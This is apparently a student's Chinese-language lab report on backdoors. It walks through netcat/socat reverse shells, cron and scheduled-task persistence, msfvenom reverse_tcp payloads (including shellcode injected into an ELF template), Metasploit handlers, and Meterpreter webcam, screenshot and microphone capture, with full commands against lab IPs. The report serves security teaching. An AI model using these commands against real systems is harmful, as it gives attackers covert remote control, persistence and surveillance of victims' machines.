20192431張瀟文 實驗二 後門原理與實踐 實驗報告
實驗二 後門原理與實踐
一 實驗原理
1.1後門原理
後門原理:後門就是攻擊者在想要攻擊的目的主機上留下的可以隱藏自己,獲取目的主機的控制權或系統訪問權的方法。後門可以通過傳送郵件或者檔案,把後門繫結在這些檔案郵件中,點選的話就會執行木馬程式。或者攻擊一臺主機以後通過傳送的方式,把後門留在電腦中。
1.2 ncat及socat及Meterpreter工作原理及msfconsole的使用
- ncat是可以進行遠端連線的,在Linux通常是自帶的,可以使用man nc來檢視nc的相關命令。以前在資訊保安概論上用過NC主要是進行埠掃描的,可以用Ncat來分析對面使用的作業系統是什麼,也可以發現分析一些漏洞。本次實驗中,多次採用了nc -l -p來進行指定埠號的監聽。而本次實驗中的任務1,以及建立後門的時候檔案的轉發都使用了ncat。nc命令可以用來在系統裝建立後門。
-
常見的nc命令:
-l, --listen 連線和收聽到來的連線
-p, --source-port port 指定使用特定的源埠
-e --exec 執行傳遞的命令列
利用nc拷貝檔案:需要用到輸如輸出重定向符號 > <
一般過程:先利用輸入重定向讓檔案傳到攻擊機的埠,然後在另一臺機器上,在這個埠監聽,並輸出重定向到指定的檔案。 - socat原理:socat可以當作是netcat的加強版,在兩個資料流之間建立通道,且支援眾多協議和連結方式,用於連線遠端埠,獲取shell。
- socat命令格式:socat [options] 。socat所做的工作就是在2個地址之間建立一個Pipe用於傳送和接收資料,有的時候可以指定TCP,就說明是建立一個TCP連線作為資料流。
-
Meterpreter:是一個用於生成後門程式的工具,在任務5中使用MSF生成shellcode的時候就會使用到。常用的命令:
-p 使用的payload。
-x 使用的可執行檔案模板,payload(shellcode)就寫入到這個可執行檔案中。
-e 使用的編碼器,用於對shellcode變形,為了免殺。
-i 編碼器的迭代次數。如上即使用該編碼器編碼5次。
-b badchar是payload中需要去除的字元。
LHOST 是反彈回連的IP
LPORT 是回連的埠
-f 生成檔案的型別
輸出到哪個檔案
-
MSF生成shellcode,MSF生成shellcode,要確定使用什麼樣的payload的時候,使用
msfvenom -l
-
msfconsole:
Msfconsole提供了一個一體化的集中控制檯。通過msfconsole,你可以訪問和使用所有的metasploit的外掛,payload,利用模組,post模組等等。常見的功能指令的意義:
使用攻擊模組:(本次實驗中在任務5,任務4中都有用到此條指令)use exploit/multi/handler
檢視需要填寫的引數:show options
設定地址,設定payload:都使用set指令
監聽:exploit
二 實驗任務
任務1 使用netcat獲取主機操作Shell,cron啟動某項任務
實驗過程:
-
用Ipconfig在windows上檢視自己的ip地址,用ip addr檢視kali的地址。在windows中反彈連線kali,前提有以下幾個方面:
要求kali的防火牆關閉,但我的實驗中並未遇到防火牆的問題。此外要求kali的ssh服務開啟,開啟ssh的命令是service ssh start
windows中安裝好了ncat。
在windows中輸入命令:ncat 192.168. 10.141 5301 -e /bin/sh
在Linux中輸入命令:nc -l -p 5301
開啟監聽
可以看到windows和kali可以進行通訊了; -
kali的主機操作windows的shell,只需要在windows下輸入命令
ncat.exe -e cmd.exe 192.168.10.141 5301
,
linux下依舊使用步驟一的開啟監聽,就可以發現可以看到了windows的cmd,輸入dir可以看到windows的當前目錄 -
windows下獲得一個linux shell,在kali中輸入:
nc 192.168.10.36 5301 -e /bin/sh
然後在cmd裡開啟監聽就可以獲得Linux的shell. -
cron啟動某項任務:crontab用於設定週期性被執行的指令,在Linux下輸入:
crontab -e
可以新增任務區,第一次的時候要選擇編輯器3。 -
按I鍵Insert,在最後一行新增程式碼:
20 * * * 1/bin/netcat 192.168.10.36 5301 -e/bin/sh
表示每週一每小時的第二十分鐘反向連線windows主機的5301埠,然後按ESC,:wq儲存並退出。 -
時間到了11:35的時候開啟windows輸入
ncat.exe -l -p 5301
可以看到cmd獲得了kali的shell。
任務2 使用SOCAT獲取主機操作SHELL, 任務計劃啟動
前提:windwos下載好了socat,解壓使用,
實驗過程:
-
在Windows單擊【計算機】—【管理】—【任務計劃程式】下【任務計劃程式庫】,選擇【建立任務】
-
確定好觸發器觸發的時間,建觸發器。並且要填上相應的引數:tcp-listen:5301 exec:cmd.exe,pty,stderr這個命令的作用是把cmd.exe繫結到埠5301,同時把cmd.exe的stderr重定向到stdout上。可以看到任務以及可以就緒了。指定時間windows會出現cmd視窗,和安全提示
Linux輸入socat-tcp:192.168.10.36
完成連線,可以獲得windosshell,輸入Ipconfig可以驗證。
任務3 使用MSF meterpreter生成可執行檔案,利用ncat傳送到主機並執行獲取主機Shell
實驗過程:
-
現在kali中使用
msfvenom -p windows/meterpreter/reverse_tcp 172.16.218.133 LPORT=5322 -f exe > backdoor5322.exe
在linux裡生成後門程式。
用Ls檢視這個後門程式是否已經在kali裡了。 -
在Windows下執行
ncat -l 5322 > backdoor5322.exe
這樣使得被控主機進入了接受檔案模式。 -
在kali中執行
nc 172.16.221.67 < backdoor5322.exe
ip是被控的主機ip。 -
可以在windows下看到該檔案
-
MSF開啟監聽程序
輸入msfconsole後進行如下操作:
輸入use exploit/multi/handler使用監聽模組,設定payload
set payload windows/meterpreter/reverse_tcp,使用和生成後門程式時相同的payload
set LHOST 172.16.218.133,這裡用的是LinuxIP,和生成後門程式時指定的IP相同
set LPORT 5322,同樣要使用相同的埠.
然後exploit, -
執行windows下的後門程式
-
此時Kali上已經獲得了Windows主機的連線,並且得到了遠端控制的shell
圖
任務4 使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權
-
常用的指令:
webcam_snap
攝像頭拍照screenshot
截圖
record_mic -d 5
截獲一段5s的音訊
任務5 使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell
-
實驗分析:
確定使用什麼樣的payload的時候,使用msfvenom -l
可以檢視所有的payload,選擇對應功能的paylode就可以了,比如說任務五是想要生成一個反彈式shell,就選擇對應的即可。總之就是要確定payload,確定要生成的shellcode型別,這次要求的是在linux/x86的,獲取反彈式shell,所payload要選擇:inux/x86/meterpreter/reverse_tcp。確定攻擊ip,攻擊埠號,本次就攻擊自己的這臺kali即可。生成什麼型別的檔案。elf可執行檔案。比如本次實驗就是要注入到pwn1這個可執行檔案中,所以用-x引數指定我們的模板pwn1.payload(shellcode)就寫入到pwn1這個可執行檔案中,並且要重新寫入一個毒化後的可執行檔案裡,並且把其放入到指定的靶機裡。 -
實驗步驟
輸入:msfvenom -p linux/x86/meterpreter/reverse_tcp Lhost=172.30.0.115 LPORT=4444 -x ./pwn1 -f elf > pwn20192431shellcode
,Lhost也可以寫成127.0.0.1
接下來,開啟msfconsole
依次輸入:use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 172.30.0.115
set LPORT 4444
exploit
然後在最開始的終端執行pwn20192431shellcode,在msf控制檯可以看到已經成功呼叫了shell
三 實驗問題及解決方案
- 在任務三當中,最開始在windows上找不到backdoor程式。原因是因為,我沒有先在Linux裡生成backdoor檔案,搞錯了實驗的本質,應該是先在虛擬機器上生成這個檔案,然後通過nc傳輸到windows裡,而不可能直接在linux裡生成檔案到windows裡後來經過修改成功了,
- 在任務五當中,在最後執行那個pwn20192431shellcode的時候,始終報段錯誤,並且在msf當中也沒辦法獲得shell,如圖:
原因其實是因為我在msf當中設定payload的時候和我生成payload時候的兩個負載不一致,一個是linux/x86/meterpreter/reverse_tcp,另一個是linux/x86/shell_reverse_tcp,所以就錯誤了。修改一致以後成功。
3. 執行檔案的時候出現了permission deny。
解決方式使用chmod u+x*
提權,就可以運行了。
四 回答問題
- 例舉你能想到的一個後門進入到你係統中的可能方式?
可以把程式繫結到一個電子郵件裡,你點開電子郵件程式就植入到你的電腦裡,或者在網路資源裡下載某遊戲,某個軟體,這些軟體綁定了後門程式,一下載就自動進入自己的電腦。熟悉的人藉助U盤等工具,植入你的電腦當中, - 例舉你知道的後門如何啟動起來(win及linux)的方式?
linux下就是cron啟動
windows下可以修改登錄檔,自啟動程式,或者編寫一段程式碼實現自啟動功能。 - Meterpreter有哪些給你映像深刻的功能?
MSF生成木馬並連線,msfvenom -p windows/meterpreter/reverse_tcp -f exe -a x86 -o ./meter_re_tcp_x86.exe LHOST=本地ip LPORT=本地埠
msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -a x64 -o ./meter_re_tcp_x64.exe LHOST=本地ip LPORT=本地埠
很方便,都不用找地址就可以直接生成。 - 如何發現自己有系統有沒有被安裝後門?
通過防毒軟體的定期查殺,或者看工作管理員當中有沒有一些自己沒下載過的軟體,防火牆。
五 實驗感悟
體會msf功能的強大,更進一步的瞭解了後門的含義。也對Payload和shellcode有了一定的區分。